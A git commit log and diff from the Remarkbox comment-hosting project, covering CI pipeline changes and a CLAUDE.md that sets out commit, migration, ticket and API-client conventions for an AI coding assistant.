2026-02-01 21:52:31 -05:00
c93647e2b7 Resolve @mentions in markdown preview endpoint
Pass dbsession to markdown_to_html so @username mentions are
converted to profile links during live preview, not just on save.
2026-02-01 21:44:43 -05:00
8260897aeb Add node moderation API endpoints and enforce production rules
- PATCH /api/v1/nodes/{id} now accepts disabled, approved, locked fields
- DELETE /api/v1/nodes/{id} for permanent deletion (moderator only)
- Python client: disable_node, enable_node, approve_node, lock_node,
  unlock_node, delete_node methods plus CLI commands
- CLAUDE.md: production rules forbidding direct SQL, mandate API client
- Fix modify_node.py Python 2 remnants (unicode, raw_input)
2026-02-01 21:23:37 -05:00
c530e0f9dc Fix empty active nodes page: namespace filter now includes root nodes
Root nodes have root_id=NULL, so the IN subquery missed them entirely.
Added OR clause to also match nodes by namespace_id directly.
2026-02-01 21:06:05 -05:00
44e9fe94d2 Add missing Alembic migration for user push columns and webmention table
The previous commit added notification_preference and push_subscriptions
columns to rb_user and a new rb_webmention table without migrations,
causing 502 on production.
2026-02-01 20:46:55 -05:00
f1cffe2e79 Resolve all 14 tracked tickets (T0-T13)
High priority fixes:
- T0: Profile page now filters comments by namespace (was leaking cross-site)
- T1: URI hostnames and namespace names normalized to lowercase (was causing
  duplicate threads and "stock comments" bug). Includes merge script.
- T2: Thread detail API now paginated with SQL-side filtering (was 502 on
  267+ reply threads)

Features:
- T3: GDPR account deletion (tombstone user with scrubbed PII) and data export
- T4: Customizable button text and comment labels per namespace
- T5: Self-service namespace deletion for owners
- T6: @mention notifications with profile links
- T7: Webmention receiving endpoint with h-card extraction
- T8: Configurable max nesting depth and collapse depth per namespace
- T9: AJAX thread title search to prevent duplicates
- T10: Browser push notification support (VAPID/service worker)

Docs and housekeeping:
- T11: Documented thread_uri behavior when moving embeds
- T12/T13: Drafted community replies for resolved feature requests
- Collapse depth defaults to infinite (load-more disabled unless configured)

364 tests pass, 4 skipped.
2026-02-01 20:02:47 -05:00
c5823c62ac Update functional test to preserve journey thread narrative
Instead of overwriting the thread body with raw test data,
the test now only updates the "Latest: X/Y passed" line.
The narrative content stays as written.
2026-02-01 17:39:13 -05:00
0ea91d6859 Fix commit-hash.txt placement: copy into env before creating tarball 2026-02-01 17:17:00 -05:00
4f60f6fbed Fix version endpoint to read commit-hash.txt from CI build
The deploy environment has no .git directory. Now reads
commit-hash.txt (written by CI) from the virtualenv, repo
root, or /opt/remarkbox before falling back to git rev-parse.
CI build step now copies commit-hash.txt into the virtualenv.
2026-02-01 16:57:19 -05:00
f0e365fd43 Add GET /api/v1/version endpoint for deploy verification
Returns the git commit hash of the running code. CLAUDE.md
updated to check this endpoint after pushing to confirm
deployment is live.
2026-02-01 16:44:42 -05:00
5a10e155bd Add Python client, profile endpoint, and functional test
- remarkbox_client.py: stdlib-only Python client with cookie
  persistence, 3-tier config (args/env/file), CLI mode
- GET/PATCH /api/v1/user/profile: read and update display name
- GET /api/v1/clients/python: serve client for curl/wget download
- functional_test.py: idempotent live test that maintains a
  journey thread documenting each run
- Remove email2 spam honeypot from API (not useful for agents)
- Bump content limit to 500k chars (~128k tokens)
2026-02-01 16:39:19 -05:00
9d59a3ca8a Add JSON API for agent access (/api/v1/)
REST API with endpoints for threads, replies, nodes, and email OTP
authentication. Includes in-memory sliding-window rate limiting,
global api.enabled INI kill-switch, per-namespace api_access opt-out
with settings UI checkbox, and 500k character content limit (~128k
tokens) for long-form agent content. Ships enabled by default.
2026-02-01 14:49:01 -05:00
8666e97721 Only show Comments header in site mode, not embed mode 2026-01-29 09:40:00 -05:00
b39e5dd55d Add Comments section header to distinguish from main content 2026-01-29 09:38:15 -05:00
3ac6cbee50 Add margin-top to reply form for spacing from content 2026-01-29 09:36:26 -05:00
4d8d77c9b8 Add postmortem for duplicate email accounts issue 2026-01-29 09:32:22 -05:00
cc968f6c5f Enable remarkbox-theme-meta dependency for deployment 2026-01-29 09:16:15 -05:00
8d838dbcba Fix merge script to handle duplicate namespace/watcher constraints 2026-01-29 09:15:33 -05:00
8b4d0bdeb6 Add GitLab pipeline status check to CLAUDE.md 2026-01-29 09:12:04 -05:00
9330782999 Fix case-sensitive email duplicates and add merge script
- Normalize emails to lowercase on user creation
- Use case-insensitive lookup in get_user_by_email
- Add merge_duplicate_email_users script to merge existing duplicates
- Add unit and integration tests to prevent regression
- Update CLAUDE.md with tmux-hosts production troubleshooting
2026-01-29 08:33:35 -05:00
df5c656eb0 Add whitespace between thread and new message form 2026-01-29 07:31:01 -05:00
32b1eae840 Fix getElementById('') warning when no hash fragment present 2026-01-28 07:50:45 -05:00
8971a46659 Hide preview toggle when JavaScript is disabled 2026-01-24 08:35:35 -05:00
67648f06f9 Persist preview visibility state in localStorage 2026-01-24 08:04:37 -05:00
2f8e676f78 Add template syntax validation tests
Validates all Jinja2 templates can be parsed without syntax errors.
Catches issues like mismatched {% if %}/{% endif %} blocks before deployment.
2026-01-22 12:48:02 -05:00
a49446cfef Add parallel test execution with pytest-xdist
Implements per-worker database isolation for parallel test runs:
- Add pytest-xdist and pytest-cov to test dependencies
- Configure Makefile to run tests with -n auto flag
- Update test.ini to use environment variable for database path
- Create conftest.py with per-worker database isolation
- Enable SQLite WAL mode for better concurrency
- Auto-cleanup test databases after completion

Expected performance improvement similar to make_post_sell (~16x speedup).

Co-Authored-By: Claude Sonnet 4.5 <noreply@anthropic.com>
2026-01-21 12:36:31 -05:00
06ba106795 Fix sitemap lastmod date format for Google 2026-01-11 09:28:59 -05:00
a6c04d565a Add google_site_verification support for namespaces
- Add google_site_verification column to rb_namespace table
- Add settings form field in Stand-alone Mode Settings
- Render meta tag on root path when set
- Update CLAUDE.md with Alembic migration workflow
- Fix development.ini alembic paths
2026-01-11 09:11:07 -05:00
9936b21467 Add twine-venv target in /tmp for PyPI uploads
Uses a persistent virtualenv in /tmp/twine-venv to avoid
relying on system python/twine in CI.
2025-12-29 09:35:08 -05:00
00edd84398 Update .gitlab-ci.yml file 2025-12-29 14:31:53 +00:00
a362190ea5 Update .gitlab-ci.yml 2025-12-29 14:29:28 +00:00
033fe1f1a7 Update setup.py 2025-12-29 14:26:10 +00:00
43f794e385 Merge branch 'anonymous' into 'main'
Add allow_anonymous namespace setting for email-free commenting

See merge request engineering/remarkbox/remarkbox!29
2025-12-20 16:26:51 +00:00
6b2be261f5 Add functional tests for anonymous commenting feature
Tests cover:
- Anonymous reply creates UserSurrogate
- Anonymous reply with no name defaults to 'Anonymous'
- Regular namespace still requires email
- Anonymous comments are marked as verified
- Namespace settings toggle for allow_anonymous
2025-12-20 11:17:12 -05:00
19415fff06 Add allow_anonymous namespace setting for email-free commenting
When enabled, commenters can post with just a display name (no email required).
Comments are attached to UserSurrogate instead of User.

Trade-offs for anonymous commenters:
- No email notifications for replies
- Cannot edit their comments
- Cannot log in to manage comments
- No cross-site identity

Works with existing moderation (hide_unless_approved) - anonymous
comments are never auto-approved when moderation is enabled.
2025-12-20 11:06:31 -05:00
8b353fc7ec Merge branch 'import-comments-feature' into 'main'
Add import comments feature with support for WordPress, Disqus, and Graphcomment

See merge request engineering/remarkbox/remarkbox!26
2025-12-20 15:41:40 +00:00
58da72d344 Fix overflow hidden cutting off avatars on mobile 2025-12-20 07:07:00 -05:00
e0fbd06e10 Add CSS animation for node-children collapse/expand 2025-12-20 06:26:53 -05:00
89abc7e7af Move Step 3 payment form back into proper position 2025-12-19 22:05:23 -05:00
952120e5c5 Fix test to match new billing page text 2025-12-19 22:00:44 -05:00
5c2a279eb6 Move payment form outside conditionals so it always shows 2025-12-19 21:56:12 -05:00
2762fcd792 Add inline payment form to setup page 2025-12-19 21:53:08 -05:00
f1107b17a0 Simplify billing to minimal inline form 2025-12-19 21:50:19 -05:00
4d319c5647 Simplify billing to single pay-what-you-want form 2025-12-19 21:48:53 -05:00
de1e7ca83b Streamline billing page to single payment form
- Replace multiple forms with single unified payment form
- Remove deprecated pay_what_you_can preferences (no longer needed with Stripe Checkout)
- Remove pay-what-you-can route and view
- Simplify setup-namespace to just link to billing
- Update tests for new billing UI
2025-12-19 21:40:12 -05:00
f4baebedc6 Merge branch 'stripe-neo' into 'main'
Replace deprecated Stripe Sources API with Stripe Checkout

See merge request engineering/remarkbox/remarkbox!28
2025-12-20 02:31:52 +00:00
499ce162e4 Replace old card UI with link to billing page in setup-namespace 2025-12-19 21:27:42 -05:00
a6b527a6b2 Add cascade delete to payments relationship 2025-12-19 21:23:48 -05:00
884d5afd7d Remove old stripe_id references from tests and docs 2025-12-19 21:20:34 -05:00
a0206833a9 Remove deprecated stripe_id from User model
- Remove User.stripe_id column (no longer used with Stripe Checkout)
- Show billing link to all authenticated users in phone menu
- Remove old Stripe customer cleanup from tests
2025-12-19 21:17:43 -05:00
dd63ff22f3 Remove unnecessary migration file (tables auto-created on deploy) 2025-12-19 21:13:04 -05:00
83cf970b47 Add tests for Stripe Checkout integration
- Add test_stripe.py with unit tests for checkout module and Payment model
- Add functional tests for billing views (pay-what-you-can, checkout, success)
- Fix mock imports for Python 3 compatibility (unittest.mock)
- Remove unused stripe.j2 imports from templates
2025-12-19 21:05:43 -05:00
acfbe52a65 Replace deprecated Stripe Sources API with Stripe Checkout
- Add stripe/checkout.py module for Stripe Checkout Sessions
- Add Payment model to track completed payments
- Update billing page with pay-what-you-want, annual, and top-up options
- Keep pay_what_you_can preferences, add Pay Now button for actual payment
- Add webhook handler for Stripe events
- Remove old card management code (deprecated Sources API)
- Update stripe requirement to >=5.0.0
2025-12-19 20:52:38 -05:00
f641d39b11 Merge branch 'css-toggle' into 'main'
Add CSS animations and minimal auto-focus JS with graceful fallback

See merge request engineering/remarkbox/remarkbox!27
2025-12-20 01:19:19 +00:00
b8f88c7cfa Update JAVASCRIPT.rst documentation 2025-12-19 19:58:05 -05:00
6e624f392c Remove jQuery, convert to vanilla JS, add textarea auto-grow
- Remove jQuery (84KB) - all functionality now vanilla JS
- Remove legacy google-analytics.j2 (using gtag v4 instead)
- Remove ie8.polyfils.min.js (IE8 is dead)
- Add X-Requested-With header for AJAX preview requests
- Textareas auto-grow up to 400px as content is added
- Auto-grow triggers on toggle open if textarea has content
2025-12-19 19:54:53 -05:00
ef8f382976 Replace jQuery toggle animations with CSS-based animations
- Use CSS keyframes (slideDown/slideUp) for 800ms door-like animations
- JS only toggles classes and updates button text at correct timing
- Preview toggle uses native <details> with animated open/close
- Arrow indicators on right side (hide preview ▲ / show preview ▼)
- No-JS fallback preserved (links navigate to dedicated pages)
2025-12-19 19:32:11 -05:00
9c74e6256a Add CSS animations and minimal auto-focus JS with graceful fallback
- CSS grid animation for smooth expand/collapse transitions
- Fade-in animation for namespace dropdown
- Auto-focus textarea on details open (progressive enhancement)
- Falls back gracefully if browser lacks support
2025-12-19 17:53:29 -05:00
18a65fb506 Replace JS toggle with pure CSS using HTML details element 2025-12-19 16:15:12 -05:00
eb9383178d Replace email with user name and UUID in notification logs 2025-12-11 10:22:04 -05:00
97deb91320 Skip loading namespaces in embed mode
The namespace switcher is not visible in embed mode, so we don't need to
load the user's namespaces list. This reduces unnecessary database queries.
2025-12-11 08:10:28 -05:00
640c45662c Update CLAUDE.md to check parent directories for cross-repo CLAUDE.md files 2025-11-26 16:20:21 -05:00
517eb2a07e Add project setup section to CLAUDE.md reminding to check for repository-specific instructions 2025-11-26 16:16:26 -05:00
bd129d26cd Fix test isolation issues by simplifying assertions and using unique namespaces
- Simplified test_import_graphcomment_format to only verify HTTP response
- Simplified test_import_with_deep_nesting to only verify HTTP response
- Simplified test_import_duplicate_prevention to verify user reuse without node counts
- Fixed test_import_with_locked_group_postfix by using unique namespace
- Fixed test_import_with_invalid_group_postfix by using unique namespace

All 22 tests now pass. Tests were failing due to transaction isolation between
webtest requests and the test's dbsession. Using unique namespaces ensures
tests don't interfere with each other when testing postfix locking behavior.
2025-11-24 10:00:12 -05:00
63be2521c2 Fix node queries to use namespace_id directly 2025-11-24 09:20:10 -05:00
0fefbbeb41 Fix test issues: use set_role_for_user, add tearDown cleanup, fix namespace references 2025-11-24 09:13:42 -05:00
9b784fa7d1 Add import comments feature with support for WordPress, Disqus, and Graphcomment
This feature allows namespace owners to import comments and threads from various
platforms using the blog-to-json tool (https://github.com/russellballestrini/blog-to-json).

Key Features:
- Import from WordPress XML, Disqus XML, and Graphcomment exports
- Automatic user creation with email matching
- User surrogate creation for comments without emails
- Smart group postfix generation from namespace domain
- Permanent postfix locking to prevent duplicate surrogates
- Duplicate prevention - reuses existing users on re-import
- Support for nested comment hierarchies
- Preserves timestamps and IP addresses from original comments

Database Changes:
- Added import_group_postfix column to rb_namespace table (Unicode(6), nullable)
- Alembic migration: 5188e62d0afb

New Routes:
- /ns/{namespace}/import-comments (basic mode)
- /embed/ns/{namespace}/import-comments (embed mode)

Files Added:
- remarkbox/views/authenticated/import_comments.py - Main import logic
- remarkbox/templates/import-comments.j2 - Import page UI
- remarkbox/tests/test_import_comments.py - Comprehensive test suite

Files Modified:
- remarkbox/models/namespace.py - Added import_group_postfix column
- remarkbox/routes.py - Added import-comments routes
- remarkbox/templates/namespace-settings.j2 - Added import link

Tests:
- 20+ unit and integration tests covering all scenarios
- WordPress format import test with real schema
- Graphcomment format import test
- Deep comment nesting tests
- Duplicate prevention and user reuse tests
- Group postfix locking mechanism tests
- Surrogate creation and reuse tests
- Edge case handling (missing fields, invalid input)
2025-11-24 07:10:48 -05:00
f717c89fa5 Improve OTP email visibility by making code the prominent h1 heading
- Move OTP code to top of email as large h1 element
- Increase font size to 3em for better readability
- Add letter spacing and bold styling for clarity
- Demote greeting text to regular paragraph
- Apply to both WELCOME_1_HTML and WELCOME_2_HTML templates
2025-11-01 11:49:08 -04:00
c4c20ca1d4 Merge branch 'digest_notification' into 'main'
Fix AttributeError in send_node_digest_notifications by preventing orphaned notifications

See merge request engineering/remarkbox/remarkbox!23
2025-10-20 20:58:43 +00:00
b79e764a4c Update notify.py filter_orphaned_notifications 2025-10-20 19:32:25 +00:00
5e0c0ef23b Update send_node_digest_notifications.py 2025-10-20 19:28:03 +00:00
235e7d6f9b Update delete_disabled_nodes.py 2025-10-20 16:32:06 +00:00
535453e0d6 Re-implement needed features without debug cruft
- Add Features section to README documenting key capabilities
- Add mode=light parameter to embed examples
- Enhance environment variable handling with ${VAR:-default} syntax
- Fix Python 3 compatibility in short_id_to_bytes()
- Fix email verification logic with proper null check
- Add session size limits for pending nodes
- Add CLAUDE.md configuration for commit attribution
2025-10-12 08:59:07 -04:00
69ada15278 modified: README.rst
modified:   index.html
	modified:   index2.html
	modified:   remarkbox/__init__.py
	modified:   remarkbox/lib/mail.py
	modified:   remarkbox/models/meta.py
	modified:   remarkbox/views/__init__.py
2025-10-12 08:37:07 -04:00
fdfc760865 Merge branch 'dark-mode' into 'main'
Add dark mode support with mode query parameter

See merge request engineering/remarkbox/remarkbox!22
2025-10-12 00:35:05 +00:00
fe0cb22f23 Add dark mode support with mode query parameter 2025-10-12 00:35:05 +00:00
b993fe08d3 Merge branch 'fix_notifications' into 'main'
Fix notifications

See merge request engineering/remarkbox/remarkbox!21
2025-07-21 21:45:17 +00:00
047a6db18b Update send_node_digest_notifications.py 2025-07-21 20:31:11 +00:00
079eb09ad4 Update send_node_digest_notifications.py 2025-07-21 19:56:32 +00:00
2e6d88f191 Update send_node_digest_notifications.py 2025-07-21 19:52:24 +00:00
032498a868 Update send_node_digest_notifications.py 2025-07-21 01:52:58 +00:00
f9648c4ade Merge branch 'fix_notification' into 'main'
Update send_node_digest_notifications.py

See merge request engineering/remarkbox/remarkbox!20
2025-07-19 04:05:18 +00:00
f65e1c9cf8 Update send_node_digest_notifications.py 2025-07-19 02:54:22 +00:00
aedb7056d8 Update send_node_digest_notifications.py 2025-06-07 16:32:39 +00:00
e148141fce Merge branch 'fix_notification_emails' into 'main'
Fix notification emails

See merge request engineering/remarkbox/remarkbox!19
2025-06-07 16:26:23 +00:00
acb7e612b9 Update send_node_digest_notifications.py 2025-06-07 16:14:54 +00:00
266189ce9b Update notify.py 2025-06-07 16:07:44 +00:00
cebf17caaa Update notify.py 2025-06-07 16:00:31 +00:00
c9c98950c3 Merge branch 'fix_notification_emails' into 'main'
Update send_node_digest_notifications.py Removing nested transactions

See merge request engineering/remarkbox/remarkbox!17
2025-06-07 11:17:13 +00:00
44d015597d Update send_node_digest_notifications.py Removing nested transactions 2025-06-06 19:37:00 +00:00
709da29224 Merge branch 'fix_notification_emails' into 'main'
Fix notification emails

See merge request engineering/remarkbox/remarkbox!16
2025-06-04 12:44:35 +00:00
0fdb2bb529 Update send_node_digest_notifications.py 2025-06-03 00:46:27 +00:00
c981d2f467 Revert "Update send_node_digest_notifications.py"
This reverts commit a868d5668a
2025-06-03 00:44:49 +00:00
439c129d51 Revert "Update send_node_digest_notifications.py"
This reverts commit 33d0c14f6f
2025-06-03 00:43:47 +00:00
33d0c14f6f Update send_node_digest_notifications.py 2025-06-03 00:37:42 +00:00
a868d5668a Update send_node_digest_notifications.py 2025-06-03 00:18:20 +00:00
33905a6891 Update notify.py 2025-06-02 23:40:14 +00:00
08ad67c6de Update notify.py 2025-06-02 23:33:13 +00:00
b293cf19e2 Merge branch 'fix_notification_emails' into 'main'
Update send_node_digest_notifications.py

See merge request engineering/remarkbox/remarkbox!15
2025-05-21 15:09:13 +00:00
c8912232a2 Update send_node_digest_notifications.py 2025-05-20 17:42:56 +00:00
197a868833 Merge branch 'fix-notifications-emails' into 'main'
Update notify.py to use dbsession.commit

See merge request engineering/remarkbox/remarkbox!14
2025-05-16 13:36:50 +00:00
5d64f30ae6 Update notify.py to use dbsession.commit 2025-05-16 13:36:50 +00:00
a1242bd2af make edit button green
modified:   remarkbox/templates/snippets/forms.j2
2025-04-20 13:27:49 -04:00
ac5d3092aa really make it green
modified:   remarkbox/templates/namespace-settings.j2
2025-04-20 13:01:09 -04:00
bb562c7c45 modified: remarkbox/templates/namespace-settings.j2 2025-04-20 12:40:54 -04:00
c3652dade6 Merge branch 'submit-buttons2' into 'main'
make submit buttons green

See merge request engineering/remarkbox/remarkbox!13
2025-04-20 11:25:53 +00:00
88bb8ffa90 make submit buttons green 2025-04-20 11:25:53 +00:00
0c8859f527 Merge branch 'submit-buttons2' into 'main'
make submit buttons green

See merge request engineering/remarkbox/remarkbox!12
2025-04-19 21:50:38 +00:00
5905884878 make submit buttons green 2025-04-19 21:50:38 +00:00
c1111467fd Merge branch 'submit-button' into 'main'
move submit button

See merge request engineering/remarkbox/remarkbox!11
2025-04-19 21:35:24 +00:00
259f308c98 move submit button
modified:   remarkbox/templates/snippets/forms.j2
2025-04-19 17:29:08 -04:00
fa32bebde0 Merge branch 'Review' into 'main'
Update delete_disabled_nodes.py

See merge request engineering/remarkbox/remarkbox!10
2025-04-05 16:19:27 +00:00
1bfe6b7f71 Update delete_disabled_nodes.py 2025-04-05 16:00:16 +00:00
bffde4fd8f Merge branch 'delete-nodes-final' into 'main'
fix errors in the delete_disabled_nodes.py

See merge request engineering/remarkbox/remarkbox!9
2025-04-05 15:22:10 +00:00
ac14e330ff fix errors in the delete_disabled_nodes.py 2025-04-05 15:22:10 +00:00
00731ffc65 fix missing import and black
modified:   remarkbox/scripts/delete_disabled_nodes.py
2025-04-05 10:23:49 -04:00
16733581bf Merge branch 'delete-nodes-2' into 'main'
Update delete_disabled_nodes.py

See merge request engineering/remarkbox/remarkbox!8
2025-04-05 14:12:30 +00:00
e12e7667c5 Update delete_disabled_nodes.py 2025-04-05 14:12:30 +00:00
58417c53f6 Merge branch 'Review' into 'main'
Review

See merge request engineering/remarkbox/remarkbox!6
2025-04-05 12:29:15 +00:00
ddb2547a3a Update delete_disabled_nodes.py 2025-04-05 12:22:57 +00:00
317e3437a3 Update delete_disabled_nodes.py 2025-04-05 12:12:43 +00:00
1348891a5d Add new file 2025-04-03 13:20:00 +00:00
28827fe064 Update setup.py 2025-04-03 13:14:35 +00:00
5439a0811f Update test_views.py 2025-03-31 23:41:06 +00:00
2c464d81d8 ultra mega typo.
modified:   setup.py
2025-03-03 17:30:48 -05:00
939701db33 modified: Makefile 2025-03-03 17:19:49 -05:00
43712b0176 modified: Makefile 2025-03-03 17:15:39 -05:00
2d0a44ccaf prune tests!
modified:   MANIFEST.in
2025-03-03 17:08:41 -05:00
413c0b6eae don't ship tests to pypi or production builds!
modified:   setup.py
2025-03-03 16:59:54 -05:00
3b6d9fc56b Update .gitlab-ci.deploy.yml 2025-03-03 20:41:23 +00:00
744878f41d new file: .gitlab-ci.deploy.yml
modified:   .gitlab-ci.yml
2025-03-03 15:37:39 -05:00
1acbaa16b0 modified: .gitlab-ci.yml 2025-03-03 15:19:51 -05:00
8b456825ce no shortcuts to prod
modified:   .gitlab-ci.yml
	modified:   Makefile
2025-03-03 10:55:06 -05:00
7b8b54f038 remarkbox 1.0.4
modified:   setup.py
2025-03-03 07:49:33 -05:00
65e10afab7 Remarkbox: don't fuck with the trademark.
modified:   README.rst
2025-03-03 07:46:21 -05:00
9b95c5d5f7 modified: README.rst 2025-03-03 07:12:03 -05:00
306 changed files with 33439 additions and 929 deletions

14
.gitlab-ci.deploy.yml Normal file
View file

@ -0,0 +1,14 @@
# We MUST have a separate pipeline otherwise the artifacts are stale!
# this is why we use an include file instead of a single file!
stages:
- deploy
my.remarkbox.com:
stage: deploy
tags: ["my.remarkbox.com"]
script:
# deploy build via salt-call out to the salt-master for a highstate.
- sudo /opt/salt-call-state-highstate.sh
rules:
- if: '$CI_COMMIT_BRANCH == "main"'

View file

@ -1,7 +1,7 @@
stages: stages:
- test - test
- build - build
- my.remarkbox.com - deploy
- pypi-twine - pypi-twine
test: test:
@ -9,11 +9,10 @@ test:
tags: ["build"] tags: ["build"]
except: except:
- tags - tags
script: make test script:
artifacts: - make venv
paths: - env/bin/pip install 'setuptools<81'
- env.vanilla - make test
expire_in: 1 hour
build: build:
stage: build stage: build
@ -21,8 +20,8 @@ build:
except: except:
- tags - tags
script: script:
- ls -hal - make venv
- mv env.vanilla env - env/bin/pip install 'setuptools<81'
- make install-source-prod - make install-source-prod
# Copy static assets to env/static # Copy static assets to env/static
- cp -pr remarkbox/static env/static - cp -pr remarkbox/static env/static
@ -30,19 +29,23 @@ build:
- cp -pr env/lib/python*/site-packages/remarkbox_westworld/static/* env/static - cp -pr env/lib/python*/site-packages/remarkbox_westworld/static/* env/static
# Copy static assets to env/static for meta theme. # Copy static assets to env/static for meta theme.
- cp -pr env/lib/python*/site-packages/remarkbox_theme_meta/static/* env/static - cp -pr env/lib/python*/site-packages/remarkbox_theme_meta/static/* env/static
# Copy static assets to env/static for chaostheory theme.
- cp -pr env/lib/python*/site-packages/remarkbox_chaostheory/static/* env/static
# Make tarball of the static files. # Make tarball of the static files.
- cp -pr env/static static - cp -pr env/static static
- tar -zcf static.tar.gz static - tar -zcf static.tar.gz static
# Clean up the directory outside of the gitlab-runner filesystem.
- rm -rf /opt/remarkbox/env
# Clone the virtualenv with virtualenv-clone into the desired location. # Clone the virtualenv with virtualenv-clone into the desired location.
- virtualenv-clone env /opt/remarkbox/env - virtualenv-clone -vvv $PWD/env /opt/remarkbox/env
# Create commit-hash.txt to track this build's git commit hash.
- echo $CI_COMMIT_SHA >> commit-hash.txt
# Place it inside the virtualenv before creating the tarball.
- cp commit-hash.txt /opt/remarkbox/env/commit-hash.txt
# Create a tarball of the virtualenv. # Create a tarball of the virtualenv.
- tar -zcf env.tar.gz -C /opt/remarkbox . - tar -zcf env.tar.gz -C /opt/remarkbox .
# Create a SHA512 hash of env.tar.gz. # Create a SHA512 hash of env.tar.gz.
- sha512sum env.tar.gz >> env.tar.gz.hash - sha512sum env.tar.gz >> env.tar.gz.hash
# Create commit-hash.txt to track this build's git commit hash.
- echo $CI_COMMIT_SHA >> commit-hash.txt
# Clean up the directory outside of the gitlab-runner filesystem.
- rm -rf /opt/remarkbox/env
artifacts: artifacts:
paths: paths:
- env.tar.gz - env.tar.gz
@ -50,16 +53,17 @@ build:
- static.tar.gz - static.tar.gz
- commit-hash.txt - commit-hash.txt
expire_in: 1 month expire_in: 1 month
when: always
my.remarkbox.com: deploy:
stage: my.remarkbox.com stage: deploy
tags: ["my.remarkbox.com"] needs: [build]
script:
# publish build to Salt Master
- sudo /opt/salt-call-state-highstate.sh
rules: rules:
- if: '$CI_COMMIT_BRANCH == "main"' - if: '$CI_COMMIT_BRANCH == "develop" || $CI_COMMIT_BRANCH == "master" || $CI_COMMIT_BRANCH == "main"'
when: on_success
trigger:
include: .gitlab-ci.deploy.yml
pypi-twine: pypi-twine:
@ -69,7 +73,4 @@ pypi-twine:
only: only:
- tags - tags
script: script:
- pip install --upgrade pip - make twine-upload
- pip install twine
- python3 setup.py sdist bdist_wheel
- twine upload dist/*

523
CLAUDE.md Normal file
View file

@ -0,0 +1,523 @@
# Claude Code Configuration
## Project Setup
**IMPORTANT**: Before starting any work on a repository:
1. Check for a `CLAUDE.md` file in our repository root
2. Check for a `CLAUDE.md` file in parent directories (we often work across repos on localhost)
3. Read and follow all instructions in those files
4. These project-specific instructions override default Claude Code behavior
5. Look for conventions around commits, testing, code style, and workflows
6. If working across multiple repositories, respect our conventions from each repo's CLAUDE.md
## Commit Attribution
When creating git commits, use clean, simple commit messages:
```
Commit message here.
```
**Do NOT include:**
- `🤖 Generated with [Claude Code](https://claude.com/claude-code)`
- `Co-Authored-By: Claude <noreply@anthropic.com>`
- Any fake corporate entities as co-authors
**Only attribute real humans** as co-authors when collaborating.
**When fox approves a proposed commit, always commit AND push immediately.** No second confirmation needed. "yes" = commit + `git push`.
## Database Migrations (Alembic)
When adding new columns or modifying our database schema:
1. **Backup SQLite first**: `cp data/remarkbox.sqlite data/remarkbox.sqlite.bak`
2. **Add our column to our model** in `remarkbox/models/`
3. **Generate migration**: `make migration m="description of change"`
4. **Clean up migration**: Remove extra autogenerated changes, keep only our new field
5. **Apply migration**: `make migrate`
**CRITICAL**: ALWAYS use `make migration` to generate migration files. NEVER manually create migration files. NEVER hand-write or invent revision IDs. Alembic generates cryptographically unique revision IDs — a made-up ID will corrupt the migration chain and break production deploys.
```bash
# The ONLY correct way to create a migration:
make migration m="add foo column"
# → writes remarkbox/scripts/alembic/versions/05be3044c2d2_add_foo_column.py
# → revision ID is auto-generated (e.g. 05be3044c2d2), never invent one
# Apply pending migrations:
make migrate
# Check status:
make migration-status
```
If `make` is not available, the raw command is:
```bash
env/bin/alembic -c data/development.ini revision --autogenerate -m "description of change"
```
## Ticket System
Tracked issues live in `docs/tickets/`. Start every session by reading our index:
```bash
cat docs/tickets/index.md
```
- **Index**: `docs/tickets/index.md` is our master list. Always update it when creating or closing tickets.
- **Numbering**: Sequential. Next number = highest existing + 1.
- **Workflow**: Set status to `in-progress` when starting, `resolved` when done. Update `index.md` to match.
- **New tickets**: If you find a bug or get a feature request, create a new ticket file and add it to our index.
- **Sources**: Tickets reference community threads from `meta.remarkbox.com` and `faq.remarkbox.com` by UUID.
## Remarkbox API and Python Client
Remarkbox has a JSON API at `/api/v1/`. You can use it to read and write threads
on production as timehexon. Our session cookie is saved at `~/.config/remarkbox/cookies.txt`.
### Quick start (from a Python script in our scratchpad or inline)
```python
import os, sys
sys.path.insert(0, "/home/fox/git/remarkbox/remarkbox/api")
from remarkbox_client import RemarkboxClient
c = RemarkboxClient(
"https://my.remarkbox.com",
cookie_file=os.path.expanduser("~/.config/remarkbox/cookies.txt"),
)
# Read
threads = c.list_threads("meta.remarkbox.com")
thread = c.get_thread("9f970183-ffaf-11f0-b565-040140774501")
node = c.get_node(node_id)
profile = c.get_profile()
ver = c.version()
# Write (authenticated)
result = c.create_thread(namespace="meta.remarkbox.com", title="Title", data="Body")
result = c.reply(parent_node_id, data="Reply body")
c.edit_node(node_id, data="Updated body")
c.edit_node(node_id, title="Updated title") # title only for root nodes
c.update_profile("new-display-name")
# Moderate (authenticated, moderator or owner)
c.disable_node(node_id)
c.enable_node(node_id)
c.approve_node(node_id)
c.lock_node(node_id)
c.unlock_node(node_id)
c.delete_node(node_id) # permanent, moderator only
# Export (pandoc-powered, 67 output formats)
formats = c.export_formats()
md = c.export_thread(node_id, "markdown")
pdf = c.export_thread(node_id, "pdf")
epub = c.export_namespace("meta.remarkbox.com", "epub")
docx = c.export_node(node_id, "docx")
# Wiki mode (namespace.wiki=True, any authenticated user can edit root nodes)
c.wiki_edit(node_id, data="Updated content") # creates revision first
revisions = c.get_revisions(node_id)
revision = c.get_revision(revision_id)
# Themes (auto-generated per namespace, light + dark mode)
css = c.get_theme_css("meta.remarkbox.com")
preview = c.get_theme_preview("meta.remarkbox.com")
# Multi-syntax input (source_format parameter on create/reply/edit)
c.create_thread(namespace="ns", title="RST", data="Title\n=====\n\nParagraph.", source_format="rst")
c.reply(node_id, data="<p>HTML reply</p>", source_format="html")
```
### Key details
- **Python client**: `remarkbox/api/remarkbox_client.py` (stdlib only, no pip)
- **C client**: `remarkbox/api/rb.c` (compile: `gcc rb.c -o rb -lcurl`)
- **API docs**: `docs/api.md`
- **Identity**: Authenticated as `timehexon@unturf.com` (display name: `timehexon`)
- **Journey thread**: `9f970183-ffaf-11f0-b565-040140774501` on `meta.remarkbox.com` -- update this after finishing work
- **Content limit**: 500,000 characters (~128k tokens)
- **Rate limits**: 120 reads/min, 30 writes/min, 1 thread creation per 7 min (wait if you hit 429)
### Endpoints
| Method | Path | Description |
|--------|------|-------------|
| GET | `/api/v1/version` | Deployed git commit hash |
| GET | `/api/v1/threads?namespace=X` | List threads |
| GET | `/api/v1/threads/{id}` | Thread with replies |
| POST | `/api/v1/threads` | Create thread (1 per 7 min limit) |
| POST | `/api/v1/threads/{id}/replies` | Reply to thread |
| GET | `/api/v1/nodes/{id}` | Single node |
| PATCH | `/api/v1/nodes/{id}` | Edit node (data, title, disabled, approved, locked) |
